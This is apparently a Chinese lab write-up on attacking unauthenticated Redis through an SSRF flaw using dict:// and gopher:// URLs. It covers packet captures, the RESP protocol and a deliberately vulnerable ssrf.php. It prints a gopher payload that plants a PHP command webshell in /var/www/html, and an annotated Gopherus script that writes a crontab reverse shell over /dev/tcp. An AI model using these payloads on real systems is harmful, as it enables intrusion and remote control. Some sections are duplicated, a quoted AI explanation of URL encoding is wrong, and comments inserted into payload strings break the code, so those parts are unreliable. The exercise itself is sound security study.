| RST | 0 | 不重置连接 |
| SYN | 0 | 非建立连接包 |
| FIN | 0 | 非关闭连接包 |
Wireshark 还用相对位置画成:
·······AP···
-
A→ ACK -
P→ PSH
🔹 总结:这是一个 数据传输包(不是握手或关闭),客户端正在推送 Redis 请求。
3️⃣ 序列号与确认号
Sequence Number: 1 (relative)
Acknowledgment Number: 1
-
Sequence Number (SEQ) → 本包的第一个字节在 TCP 流里的编号
-
raw = 372651116 → Wireshark 把它相对化(方便理解)
-
-
Acknowledgment Number (ACK) → 对方已经收到的数据序号
-
Next Sequence Number → 35 → 本包发送 34 字节数据,下一次 SEQ = 35
🔹 总结:TCP 用 SEQ/ACK 保证 可靠、顺序传输。
4️⃣ 头部长度(Header Length)
1000 .... = Header Length: 32 bytes (8)
-
TCP 头最小 20 bytes
-
这里 32 bytes → 有 12 bytes 选项(NOP + NOP + Timestamps)
-
高 4 位表示 TCP 头长度(32-bit 字为单位)
5️⃣ 窗口大小(Window)
Window: 249
-
TCP 接收方的 接收缓冲区大小 → 控制流量
-
Wireshark 可以算出“可用窗口”和“滑动窗口机制”
6️⃣ 校验和与紧急指针
Checksum: 0xbdf2 [unverified]
Urgent Pointer: 0
-
校验和用于 检测 TCP 包是否损坏
-
紧急指针 = 0 → 没有 URG 数据
7️⃣ TCP 选项
Options: (12 bytes), NOP, NOP, Timestamps
TSval: 4263709925, TSecr: 14817730
-
NOP → 占位(对齐用)
-
Timestamp → RTT 测量、序列号验证
-
这些都是 TCP 扩展,提高性能和可靠性
8️⃣ TCP Payload(应用层数据)
TCP payload (34 bytes)
-
真正的 Redis 请求数据
-
Wireshark 会把它交给 Redis 解析器 → RESP 格式:
config get dir
🔹 总结:TCP 层确保数据可靠、有序、可控;而 payload 才是应用层的命令或消息。
🔥 总结 TCP 层抓包解析流程
-
端口号 → 指定应用
-
Flags → 控制连接状态和数据推送
-
SEQ/ACK → 保证可靠、顺序传输
-
窗口大小 → 流量控制
-
Header Length / Options → 扩展功能(时间戳等)
-
Payload → 上层应用数据(Redis 命令)
REdis Serialization Protocol
Array: Length 3
Length: 3
Bulk String: config
Length: 6
Value: 636f6e666967
Bulk String: get
Length: 3
Value: 676574
Bulk String: dir
Length: 3
Value: 646972
1️⃣ 协议类型
REdis Serialization Protocol
-
也叫 RESP (Redis Serialization Protocol)
-
Redis 用它在客户端和服务端之间传输命令和数据
-
特点:
-
简单文本+长度标记 → 易解析
-
可以表示数组、字符串、整数等类型
-
2️⃣ Redis 命令解析
Array: Length 3
Bulk String: config
Bulk String: get
Bulk String: dir
-
Array: Length 3 → 一个数组,包含 3 个元素
-
Bulk String → 表示一个完整字符串,每个元素都是一个字符串
详细说明:
| 元素 | 类型 | 长度 | 值 | Hex |
|---|---|---|---|---|
| 1 | Bulk String | 6 | config |
63 6f 6e 66 69 67 |
| 2 | Bulk String | 3 | get |
67 65 74 |
| 3 | Bulk String | 3 | dir |
64 69 72 |
🔹 对应 Redis 命令:
CONFIG GET dir
客户端向 Redis 请求数据库路径(dir 配置项)
3️⃣ 这一层的意义
-
Payload = 34 bytes(前面 TCP 里标注的)
-
Redis 协议解析后 → 能直接看出 客户端发了什么命令
-
TCP 保证这个数据 可靠送达,IP 保证 到达正确主机,Ethernet 保证 送到正确机器网卡
所以抓包时:
Frame → 整个数据包
Ethernet → 谁收谁
IP → 哪台主机
TCP → 哪个应用端口、顺序可靠
Redis → 具体命令内容
🔥 总结抓包层次
Frame (信封)
└─ Ethernet II (MAC 地址)
└─ IPv4 (源/目标 IP)
└─ TCP (源/目标端口, SEQ/ACK, Flags)
└─ Redis Payload (CONFIG GET dir)
每一层都有自己的职责,最终应用层才能处理业务数据。
1️⃣ 分层解析
网络抓包过程可分层理解如下:
Frame (Ethernet)
└─ IP (IPv4)
└─ TCP
└─ Payload (Redis/HTTP/其他应用)
- 应用层(如Redis Payload):包含实际业务指令(如
CONFIG GET dir) - 传输层及以下(TCP/IP/Ethernet):由操作系统网络栈自动处理
- TCP层:负责序列号、确认号、重传机制和校验和
- IP层:管理源/目的IP地址
- Ethernet层:处理MAC地址转换
2️⃣ 开发工具选择
支持多种实现方式:
- redis-cli
- Python(redis-py/hiredis)
- netcat/telnet
只需关注应用层RESP协议格式的指令编写,底层协议由系统自动封装。
Python示例(发送Redis指令):
import socket
s = socket.socket()
s.connect(("192.168.176.135", 6379))
s.send(b"*3\r\n$6\r\nconfig\r\n$3\r\nget\r\n$3\r\ndir\r\n")
print(s.recv(1024))
s.close()
注:SEQ/ACK、端口号、MAC地址等底层字段均由系统处理。
3️⃣ 完整数据包构造
典型应用场景:
- 网络包注入
- 自定义TCP协议栈开发
- 中间人攻击模拟
⚠️ 注意事项:
需手动处理校验和、序列号、窗口大小、TTL等字段,实现复杂度较高。
🔹 核心原则:
常规客户端开发 → 专注应用层逻辑
底层协议控制 → 交由系统网络栈处理
💡 形象类比:
使用redis-cli → 如同在邮局书写信件内容
TCP/IP/Ethernet → 相当于邮局自动完成贴邮票、路由选择、物流运输
1️⃣ 分层解析
网络抓包过程可分层理解如下:
Frame (Ethernet)
└─ IP (IPv4)
└─ TCP
└─ Payload (Redis/HTTP/其他应用)
- 应用层(如Redis Payload):包含实际业务指令(如
CONFIG GET dir) - 传输层及以下(TCP/IP/Ethernet):由操作系统网络栈自动处理
- TCP层:负责序列号、确认号、重传机制和校验和
- IP层:管理源/目的IP地址
- Ethernet层:处理MAC地址转换
2️⃣ 开发工具选择
支持多种实现方式:
- redis-cli
- Python(redis-py/hiredis)
- netcat/telnet
只需关注应用层RESP协议格式的指令编写,底层协议由系统自动封装。
Python示例(发送Redis指令):
注:SEQ/ACK、端口号、MAC地址等底层字段均由系统处理。
3️⃣ 完整数据包构造
典型应用场景:
- 网络包注入
- 自定义TCP协议栈开发
- 中间人攻击模拟
⚠️ 注意事项:
需手动处理校验和、序列号、窗口大小、TTL等字段,实现复杂度较高。
🔹 核心原则:
常规客户端开发 → 专注应用层逻辑
底层协议控制 → 交由系统网络栈处理
💡 形象类比:
使用redis-cli → 如同在邮局书写信件内容
TCP/IP/Ethernet → 相当于邮局自动完成贴邮票、路由选择、物流运输
你抓包里看到的 *3 $6 config $3 get $3 dir 是 RESP 协议格式,这是 Redis 协议规定的,但 redis-cli 不需要你手动写,它帮你封装了。
1️⃣ redis-cli 内部做了什么
当你在终端输入:
redis-cli CONFIG GET dir
-
命令解析:
-
redis-cli 把你输入的 空格分隔命令
CONFIG GET dir分成 3 个参数:CONFIG,GET,DIR
-
-
RESP 封装:
-
自动生成 RESP 协议:
*3\r\n
$6\r\nconfig\r\n
$3\r\nget\r\n
$3\r\ndir\r\n -
这是抓包里看到的 TCP Payload
-
-
发送给服务器:
-
底层 TCP/IP/Ethernet 都由操作系统处理
-
2️⃣ netcat 或 Python socket 直接发送
如果你用 nc / Python socket,就没有 CLI 自动封装功能,你就必须自己写 RESP 格式,否则 Redis 不能解析:
# 错误写法
echo "CONFIG GET dir" | nc 192.168.176.135 6379
# Redis 会报错,因为不是 RESP 格式
# 正确写法,需要RESP封装
s.send(b"*3\r\n$6\r\nconfig\r\n$3\r\nget\r\n$3\r\ndir\r\n")
⚡ 核心:
redis-cli就是把人类可读命令 → RESP 格式 → 发给 TCP
所以你抓包看到的 RESP 是TCP payload 的真实内容,但 CLI 用户不需要手动写。
3️⃣ 总结
| 使用方式 | 需要写 RESP 吗? | 需要写 TCP/IP/Ethernet 吗? |
|---|---|---|
| redis-cli | 不用,CLI 自动封装 | 不用,系统网络栈处理 |
| netcat / Python socket | 需要自己写 | 不用,系统网络栈处理 |
| 手工构造 Frame / 自己实现 TCP | 需要写 | 需要手工写全部字段 |
🔹 所以 CTF 模拟 Redis 攻击:
用 redis-cli → 只写
CONFIG GET dir就够了用 netcat / socket → 需要手动写 RESP
所以到这里可以知道在redis-cli传的会帮你自动封装,安装菜鸟教程的就可以正常使用命令,要手写tcp不现实,但是可以用python,自己写RESP协议就行,就是相当于自己写应用层数据,redis-cli你写的不是完整的应用层数据,redis-cli会帮你完善resp协议。
resp协议官方教程
Redis serialization protocol specification | Docs
但是是英文的
中文版的
Redis 序列化协议规范 | Docs - Redis 文档

正好测试一下,确实啊,它返回ok的时候wireshark抓到的应用层的包就是+ok\r\n







核心结论先摆清楚
| 类型 | 标识字符 | 核心作用 | 适用场景 | 关键特点 |
|---|---|---|---|---|
| 简单字符串 | + |
服务器返回 “短、简单的成功 / 状态信息” | 服务器回复OK、PONG等 |
只能是纯文本,不能含\r\n,长度短 |
| 批量字符串 | $ |
传输 “任意长度的字符串 / 二进制数据” | 客户端发命令参数、服务器返回具体值 | 二进制安全,支持任意数据,带长度标识 |
| 数组 | * |
封装 “多个数据(命令 + 参数)” | 客户端发送 Redis 命令(核心!) | 元素可以是任意 RESP 类型 |
一、简单字符串(+):服务器的 “简短回复”
1. 本质
服务器返回的短、无换行的纯文本信息,只有 “状态提示” 作用,不能传复杂数据。
2. 格式
+ + 字符串内容 + \r\n
3. 例子(你抓包能看到)
- 客户端认证成功,服务器回复:
+OK\r\n - 客户端发
PING,服务器回复:+PONG\r\n
4. 核心限制
- 只能是纯 ASCII 文本,不能包含
\r\n(否则服务器解析出错); - 长度通常很短,只用来返回 “成功 / 失败” 类的简单状态,客户端绝不会用它发命令。
二、批量字符串($):传输 “任意数据” 的核心
1. 本质
RESP 里最常用的类型,专门用来传输 “单个、任意长度” 的字符串 / 二进制数据(比如命令参数、Redis 的 key/value)。
2. 格式
$ + 数据字节数 + \r\n + 数据内容 + \r\n
3. 例子(你抓包的核心)
- 传输
config:$6\r\nconfig\r\n(6 是config的字节数); - 传输密码
123123:$6\r\n123123\r\n; - 传输含空格的字符串
zhangsan lisi:$11\r\nzhangsan lisi\r\n(11 是总字节数); - 传输空值(比如获取不存在的 key):
$-1\r\n(特殊变体,表示 null)。
4. 核心优势
- 二进制安全:不管数据里有空格、
\r\n、$、*等特殊字符,服务器都会按 “字节数” 精准读取,不会误判; - 长度明确:服务器不用扫描字符,直接按长度读取,效率极高。
三、数组(*):封装 “命令 + 参数” 的容器
1. 本质
专门用来打包多个 RESP 数据,是客户端发送 Redis 命令的唯一格式(没有例外)。
2. 格式
* + 元素个数 + \r\n + 每个元素的 RESP 编码(通常是批量字符串)
3. 例子(你实操的核心)
- 发送
AUTH 123123:*2\r\n$4\r\nAUTH\r\n$6\r\n123123\r\n→*2:数组有 2 个元素;→ 第一个元素:$4\r\nAUTH\r\n(批量字符串,AUTH);→ 第二个元素:$6\r\n123123\r\n(批量字符串,123123)。 - 发送
config get dir:*3\r\n$6\r\nconfig\r\n$3\r\nget\r\n$3\r\ndir\r\n→*3:数组有 3 个元素;→ 三个元素都是批量字符串(config、get、dir)。
4. 核心特点
- 数组的元素可以是任意 RESP 类型(比如批量字符串、整数、甚至另一个数组);
- 客户端发任何 Redis 命令,都必须封装成 “批量字符串组成的数组”,服务器只认这种格式。
四、用你抓包的场景串起来(一看就懂)
- 客户端发命令:必须用
*(数组)封装多个$(批量字符串),比如config get dir→*3+$6+config+$3+get+$3+dir; - 服务器回复成功:用
+(简单字符串),比如+OK\r\n; - 服务器回复具体值:用
$(批量字符串),比如回复/tmp→$4\r\n/tmp\r\n; - 服务器回复多个值:用
*(数组)封装多个$(批量字符串),比如回复dir和/tmp→*2\r\n$3\r\ndir\r\n$4\r\n/tmp\r\n。
它这里也写了是用数组的格式传命令


这里大概已经了解如何用它的协议写命令了
搭建了一个ssrf 打redis未授权的环境
ssrf.php
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
echo curl_exec($ch);
curl_close($ch);

先本地测一下

探测一下端口

dict协议是啥呢
192.168.176.135/ssrf.php?url=dict://127.0.0.1:6379/info
找到用ssrf 的包了

纯发info的脚本
import socket
s = socket.socket()
s.connect(("192.168.176.135", 6379))
s.send(b"info\r\n")
data = s.recv(4096)
print(data.decode())
s.close()

这个是一点报错都没有了
这里疑惑之前不是传命令都是要用类似
![]()
吗,为啥现在可以直接传


误会了,它应该就是可以直接传字符串的。
ai的解释
在 Redis 官方文档:
👉 Redis Serialization Protocol (RESP)
👉 旧版本文档里叫 “Unified Request Protocol”
里面有专门一节叫:
Inline Commands
文档原话大概意思是:
Redis also accepts commands in a simple inline format, similar to telnet.
意思是:
Redis 也接受类似 telnet 的简单文本命令格式。
反正知道可以用字符串传命令了
DICT协议在SSRF中的妙用
核心概念
DICT协议本是字典查询协议,但在SSRF攻击中可作为"发送TCP明文数据的工具"。
协议基础
- 本质:古老的词典查询协议(默认端口2628)
- 工作流程:
- 客户端发送:
DEFINE word - 服务端返回:单词释义
- 客户端发送:
- 特点:基于明文TCP协议
CTF中的妙用
libcurl实现的dict://协议本质是:
- 建立TCP连接
- 将
/后的内容作为单行数据发送(自动追加\r\n)
即:dict://目标IP:端口/内容 等价于向该端口发送 内容\r\n
实例演示
访问:dict://127.0.0.1:6379/INFO 实际发送:INFO\r\n Redis会将其解析为INFO命令执行
SSRF应用场景
可用于:
- 端口探测
- 发送简单命令
- 服务识别(Redis/Memcached/MySQL等)
- 原理:多数服务基于TCP明文协议通信
DICT协议在SSRF中的妙用
核心概念
DICT协议本是字典查询协议,但在SSRF攻击中可作为"发送TCP明文数据的工具"。
协议基础
- 本质:古老的词典查询协议(默认端口2628)
- 工作流程:
- 客户端发送:
DEFINE word - 服务端返回:单词释义
- 客户端发送:
- 特点:基于明文TCP协议
CTF中的妙用
libcurl实现的dict://协议本质是:
- 建立TCP连接
- 将
/后的内容作为单行数据发送(自动追加\r\n)
即:dict://目标IP:端口/内容 等价于向该端口发送 内容\r\n
实例演示
访问:dict://127.0.0.1:6379/INFO 实际发送:INFO\r\n Redis会将其解析为INFO命令执行
但是
ssrf.php代码是
<?php
// 解决中文乱码
header("Content-Type: text/plain; charset=utf-8");
$ch = curl_init();
$url = $_GET['url'];
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
// 关键:强制curl不等待连接关闭,拿到数据就返回
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2); // 连接超时设为2秒
// 禁用SSL(避免干扰)
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
echo "响应内容:" . $response . "\n";
// 打印错误信息(调试)
if(curl_errno($ch)){
echo "CURL错误码:" . curl_errno($ch) . "\n";
echo "CURL错误信息:" . curl_error($ch) . "\n";
}
curl_close($ch);
echo "传入的URL:" . $url . "\n";
?>
在centos里面curl发现curl完并没有退出

ctrl +c 才退出了

你说得完全对!这就是你 PHP 代码里 curl 返回超时错误(错误码 28)的根本原因—— 和你本地 curl 卡住需要 Ctrl+C 退出是同一个逻辑,只是表现形式不同:
核心因果链(一句话说透)
Redis 长连接不主动关闭 → curl 默认等连接关闭才停止读取 → 哪怕已经收到了 2895 字节的完整响应,也会一直等 → 直到触发你代码里CURLOPT_TIMEOUT=5的 5 秒超时 → curl 判定 “超时失败”,返回错误码 28,同时告诉你 “其实已经收到了 2895 字节”。
拆解错误信息的每一个细节
CURL错误码:28 → 对应CURLE_OPERATION_TIMEDOUT(操作超时)
CURL错误信息:Operation timed out after 5002 milliseconds with 2895 bytes received
after 5002 milliseconds:curl 等了 5 秒(略超你设置的 5 秒超时),没等到 Redis 关闭连接;with 2895 bytes received:curl 其实已经完整收到了 Redis 返回的 2895 字节 info 响应(和你抓包 / 本地 curl 看到的 2886/2887 字节一致,只是字节数因 Redis 实时状态略有变化);- 关键矛盾:curl “收到了完整数据”,但因为 “没等到连接关闭”,依然判定为 “超时失败”,所以返回错误码 28,而不是把收到的 2895 字节完整返回给你。
为什么本地 curl 和 PHP curl 表现不同?
| 场景 | 现象 | 本质 |
|---|---|---|
| 本地 curl | 打印完整响应,但卡住需 Ctrl+C | curl 拿到数据后,还在等 Redis 关连接,手动终止后才退出; |
| PHP curl | 报错超时(码 28),但提示收到 2895 字节 | PHP 的 curl 到 5 秒超时后,强制终止并返回错误,不会像本地 curl 那样打印已收到的数据; |
怎么彻底解决这个错误?
只需要给 PHP 的 curl 加超时参数缩短到 1 秒(Redis 返回响应只需要几毫秒,1 秒足够),让 curl 在 “拿到完整数据后、Redis 关连接前” 就主动终止,既拿到完整响应,又不触发超时错误:
<?php
header("Content-Type: text/plain; charset=utf-8");
// 全局变量:存储实时收到的数据
$redis_response = '';
// 回调函数:每收到一点数据,就追加到$redis_response里
function captureData($ch, $data) {
global $redis_response;
$redis_response .= $data; // 核心:不管超不超时,先把数据存起来
return strlen($data); // 告诉curl“我已处理完这些数据”
}
$ch = curl_init();
$url = $_GET['url'];
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => 1, // 这个参数可以保留,但数据靠回调拿
CURLOPT_TIMEOUT => 1, // 1秒超时,避免卡住
CURLOPT_CONNECTTIMEOUT => 1,
CURLOPT_WRITEFUNCTION => 'captureData', // 关键:实时捕获数据
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
]);
// 执行请求(哪怕超时,回调也已经把数据存到$redis_response里了)
curl_exec($ch);
// 输出结果(不管curl报不报错,都能拿到数据)
echo "响应内容:\n" . $redis_response . "\n";
echo "响应字节数:" . strlen($redis_response) . "\n";
// 打印错误(仅作调试,不影响数据获取)
if(curl_errno($ch)){
echo "CURL错误码:" . curl_errno($ch) . "\n";
echo "CURL错误信息:" . curl_error($ch) . "\n";
}
curl_close($ch);
echo "传入的URL:" . $url . "\n";
?>
这个脚本就可以回显了

虽然其实redis未授权利用的时候不需要回显,这个可能别人一般不会这么写,其实用dict协议探测完可以直接利用的,我只是在测试我的环境,没想到又踩坑了。

用curl的话要二次编码,
你之所以在使用 curl 调用 gopher 协议攻击 Redis 时需要二次编码,核心是curl 对 gopher URL 的 “双层解析规则” —— 它会比file_get_contents多做一次 URL 解码,导致一次编码的 payload 被篡改,必须通过二次编码抵消这个自动解码行为。我用 “常规开发视角 + 实战场景” 把这个逻辑讲透,让你明白背后的本质而非死记规则:
一、先搞懂:URL 编码的核心是 “转义特殊字符”
Redis 的 RESP 命令依赖\r\n(%0D%0A)、$(%24)等特殊字符,这些字符在 URL 中是 “保留字符”,必须编码后才能正常传输:
- 原始 RESP 命令:
*1\r\n$4\r\ninfo\r\n - 一次 URL 编码(给网络传输用):
*1%0D%0A%244%0D%0Ainfo%0D%0A(\r→%0D,\n→%0A,$→%24)
二、curl 的 “坑”:自动做一次 URL 解码
curl 是为 HTTP 协议设计的工具,处理gopher://URL 时,会先执行一次 URL 解码,再把解码后的内容发给目标端口 —— 这是你必须二次编码的根本原因:
1. 只做一次编码的后果(失败)
你传入的URL:gopher://127.0.0.1:6379/_*1%0D%0A%244%0D%0Ainfo%0D%0A
↓ curl自动解码一次
发给Redis的内容:*1\r\n$4\r\ninfo\r\n → 看似正确?
但实际 curl 会把解码后的\r\n当成 “HTTP 换行符” 二次处理,最终发给 Redis 的内容变成*1\n$4\ninfo\n(丢失\r),Redis 解析 RESP 协议失败,返回-ERR Protocol error。
2. 二次编码的逻辑(成功)
原始RESP:*1\r\n$4\r\ninfo\r\n
↓ 一次编码(给curl解码用):*1%0D%0A%244%0D%0Ainfo%0D%0A
↓ 二次编码(抵消curl的自动解码):*1%250D%250A%25244%250D%250Ainfo%250D%250A
你传入的URL:gopher://127.0.0.1:6379/_*1%250D%250A%25244%250D%250Ainfo%250D%250A
↓ curl自动解码一次
发给Redis的内容:*1%0D%0A%244%0D%0Ainfo%0D%0A
↓ Redis解析URL编码
最终执行的命令:*1\r\n$4\r\ninfo\r\n(完全正确)
关键:二次编码把%转成%25,curl 解码后还原出一次编码的结果,Redis 再解码一次,刚好得到正确的 RESP 命令。
三、对比:为什么file_get_contents不用二次编码?
file_get_contents是 PHP 原生的文件读取函数,处理gopher://URL 时没有 “自动解码” 步骤—— 它会把_后面的内容 “原封不动” 发给目标端口:
plaintext
你传入的URL:gopher://127.0.0.1:6379/_*1%0D%0A%244%0D%0Ainfo%0D%0A
↓ file_get_contents直接传输
发给Redis的内容:*1%0D%0A%244%0D%0Ainfo%0D%0A
↓ Redis解码一次
最终执行的命令:*1\r\n$4\r\ninfo\r\n(正确)
这也是常规开发中,遇到 gopher SSRF 时优先用file_get_contents的原因 —— 少一层解析,少踩坑。
SSRF应用场景
可用于:
- 端口探测
- 发送简单命令
- 服务识别(Redis/Memcached/MySQL等)
- 原理:多数服务基于TCP明文协议通信

这个就是它用curl有额外的字符串。
先手写一个吧
set a aaa
对应的
*3
$3
set
$1
a
$3
aaa
这时候就可以学习用脚本生成了
a='''*3
$3
set
$1
a
$3
aaa'''
payload=''
a.split('\n')
# print (a.split('\n'))
for i in a.split('\n'):
payload+=i+"\\r\\n"
print(payload)

但是还需要编码
编码两次发现打不通改成一次的看了下。发现\r的它没给\r整体编码只给斜杠编码了

这个脚本成了
from urllib.parse import quote
a='''*3
$3
set
$1
a
$3
aaa'''
payload=''
a.split('\n')
# print (a.split('\n'))
for i in a.split('\n'):
payload+=quote(i)+"%0d%0a"
print(payload)
from urllib.parse import quote
# 待编码的字符串(包含中文、空格、特殊符号)
original_str = payload
# 基础编码(默认编码为UTF-8,推荐)
encoded_str = quote(original_str)
# encoded_str= quote(encoded_str)
print("编码结果:", encoded_str)



所以到这里其实后续就是换命令罢了
嗯,先用下工具来学习吧


gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
url解码是
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$34
<?php system($_GET['cmd']); ?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
确实只是换了命令
突然想起我之前好像接触了很多次gopher协议了

但是之前只是用工具打的。

总结一下curl gopher
完全理解你的疑惑,这也是 SSRF 实战里最难的地方之一:你不控制服务端,无法直接知道它底层用的是什么,所以就有几个要点和策略:
1️⃣ 常见 SSRF 调用方式和协议支持
| 方法 | PHP 常用实现 | 支持的协议 | 特点 |
|---|---|---|---|
file_get_contents($url) |
内置 PHP 函数 | http, https, ftp, file, php, data, glob, zlib 等(看 allow_url_fopen 和 stream_get_wrappers()) |
不支持 gopher、dict 默认 |
cURL |
curl_init() |
支持的协议取决于编译时 --with-protocols,常见:http, https, ftp, ftps, gopher, dict, file 等 |
可以支持 gopher,用来发 RESP |
| Guzzle / 其他 HTTP 客户端 | PHP Composer 库 | 基于 cURL 或 stream | 和上面类似 |
✅ 结论:如果你要用
gopher或dict,只有 cURL 或底层支持 gopher 的库才能成功。file_get_contents默认通常不支持 gopher。
你可以通过 phpinfo() 或以下方式确认:
<?php
print_r(stream_get_wrappers()); // file_get_contents 支持的协议
print_r(curl_version()['protocols']); // cURL 支持的协议
?>
2️⃣ 如何判断 SSRF 能用哪些协议
-
试探法:用 URL 先试简单的协议:
http://target/ssrf.php?url=http://example.com
file://etc/passwd
gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0APING%0D%0A
-
响应观察:
-
如果报
Invalid schema→ 不支持 -
如果超时、没响应 → 可能支持,但阻塞中
-
-
PHP 的
allow_url_fopen决定file_get_contents能否访问 URL 协议。
666这文章虚晃一枪,

file_get_contents不支持gopher协议。
<?php
print_r(stream_get_wrappers()); // file_get_contents 支持的协议
echo "<br>";
print_r(curl_version()['protocols']); // cURL 支持的协议
?>

gopherus脚本观摩一下
# 导入URL编码模块,用于将Redis命令的特殊字符转义为URL安全格式
import urllib
# 定义核心功能类:Redis SSRF攻击payload生成器
# 作用:自动构造gopher协议的Redis攻击payload,支持生成反向Shell和PHP一句话木马两种场景
def Redis():
# 子函数1:生成Redis反向Shell的gopher payload
def get_Redis_ReverseShell():
# 1. 接收用户输入:攻击机IP(用于反向连接),默认127.0.0.1(本地测试用)
server = raw_input("\033[96m" +"\nGive your IP Address to connect with victim through Revershell (default is 127.0.0.1): "+ "\033[0m")
# 2. 接收用户输入:目标机crontab目录(定时任务目录),默认/var/spool/cron/(Linux通用路径)
crontab_dir = raw_input("\033[96m" +"What can be his Crontab Directory location\n## For debugging(locally) you can use /var/lib/redis : "+ "\033[0m")
# 3. 处理默认值:用户未输入则使用默认值
if(not server):
server = "127.0.0.1"
if(not crontab_dir):
crontab_dir = "/var/spool/cron/"
# 4. 构造反向Shell命令(每分钟执行一次,连接攻击机1234端口)
# bash -c "sh -i >& /dev/tcp/攻击机IP/1234 0>&1":经典Linux反向Shell写法
cmd = '*/1 * * * * bash -c "sh -i >& /dev/tcp/' + server + '/1234 0>&1"'
# 5. 计算Redis SET命令中value的长度(RESP协议要求明确长度)
# +5是因为payload中包含换行/空格等隐藏字符,兼容Redis的RESP解析规则
len_cmd = len(cmd) + 5
# 6. 构造Redis攻击命令的原始payload(RESP协议格式)
# RESP协议规则:*数字=数组元素个数,$数字=字符串长度,\r\n=分隔符
payload = """*1\r # 数组长度1:执行flushall命令(清空Redis所有数据,避免干扰)
$8\r # 字符串长度8:"flushall"的字符数
flushall\r # 清空Redis数据
*3\r # 数组长度3:执行set命令(set 1 '反向Shell命令')
$3\r # 字符串长度3:"set"的字符数
set\r # SET命令:用于写入数据到Redis
$1\r # 字符串长度1:key名"1"的字符数
1\r # Redis的key名:自定义为1(任意值均可)
$""" + str(len_cmd) + """\r # 字符串长度:反向Shell命令的总长度(含隐藏字符)
""" + cmd + """ # 核心:写入crontab的反向Shell命令
\r
*4\r # 数组长度4:执行config set dir命令(修改Redis数据目录)
$6\r # 字符串长度6:"config"的字符数
config\r # CONFIG命令:用于修改Redis配置
$3\r # 字符串长度3:"set"的字符数
set\r # SET子命令:修改配置项
$3\r # 字符串长度3:"dir"的字符数
dir\r # 配置项:Redis数据存储目录
$""" + str(len(crontab_dir)) + """\r # 字符串长度:crontab目录的字符数
""" + crontab_dir + """\r # 设置Redis数据目录为crontab目录(用于写入定时任务)
*4\r # 数组长度4:执行config set dbfilename命令(修改Redis持久化文件名)
$6\r # 字符串长度6:"config"的字符数
config\r
$3\r # 字符串长度3:"set"的字符数
set\r
$10\r # 字符串长度10:"dbfilename"的字符数
dbfilename\r # 配置项:Redis持久化文件名
$4\r # 字符串长度4:"root"的字符数
root\r # 设置持久化文件名为root(对应/var/spool/cron/root,Linux root用户的定时任务文件)
*1\r # 数组长度1:执行save命令(强制Redis持久化,将数据写入文件)
$4\r # 字符串长度4:"save"的字符数
save\r # SAVE命令:触发Redis把内存数据写入磁盘(关键!将命令写入crontab文件)
"""
# 7. URL编码处理:将payload转为URL安全格式(适配SSRF的url参数)
# quote_plus:基础URL编码(空格→+,特殊字符→%xx)
# replace("+","%20"):将+还原为%20(避免curl/file_get_contents解析异常)
# replace("%2F","/"):保留/不编码(Redis路径需要/)
# replace("%25","%"):避免二次编码(适配file_get_contents场景)
# replace("%3A",":"):保留:不编码(IP:端口中的:)
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
# 8. 输出最终的gopher协议攻击链接(可直接用于SSRF漏洞)
print "\033[93m" +"\nYour gopher link is ready to get Reverse Shell: \n"+ "\033[0m"
print "\033[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "\033[0m"
# 提示用户:攻击前需在攻击机监听1234端口(nc -lvp 1234)
print "\033[01m" +"\nBefore sending request plz do `nc -lvp 1234`"+ "\033[0m"
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"
# 子函数2:生成Redis PHP一句话木马的gopher payload
def get_Redis_PHPShell():
# 1. 接收用户输入:目标机web根目录(PHP文件存放路径),默认/var/www/html(Apache/Nginx通用路径)
web_root_location = raw_input("\033[96m" +"\nGive web root location of server (default is /var/www/html): "+ "\033[0m")
# 2. 接收用户输入:PHP木马内容,默认使用系统命令执行的一句话木马
php_payload = raw_input("\033[96m" +"Give PHP Payload (We have default PHP Shell): "+ "\033[0m")
# 3. 默认PHP木马:<?php system($_GET['cmd']); ?> (通过cmd参数执行任意系统命令)
default = "<?php system($_GET['cmd']); ?>"
# 4. 处理默认值:用户未输入则使用默认一句话木马
if(not php_payload):
php_payload = default
if(not web_root_location):
web_root_location = "/var/www/html"
# 5. 构造Redis攻击命令的原始payload(RESP协议格式)
# 逻辑与反向Shell一致,只是将写入的文件改为web目录下的shell.php
payload = """*1\r # 数组长度1:执行flushall清空Redis数据
$8\r
flushall\r
*3\r # 数组长度3:执行set命令写入PHP木马
$3\r
set\r
$1\r
1\r
$""" + str(len(php_payload) + 4) + """\r # PHP木马内容的总长度(+4兼容RESP解析)
""" + php_payload + """ # 核心:PHP一句话木马内容
\r
*4\r # 数组长度4:修改Redis数据目录为web根目录
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$""" + str(len(web_root_location)) + """\r
""" + web_root_location + """\r
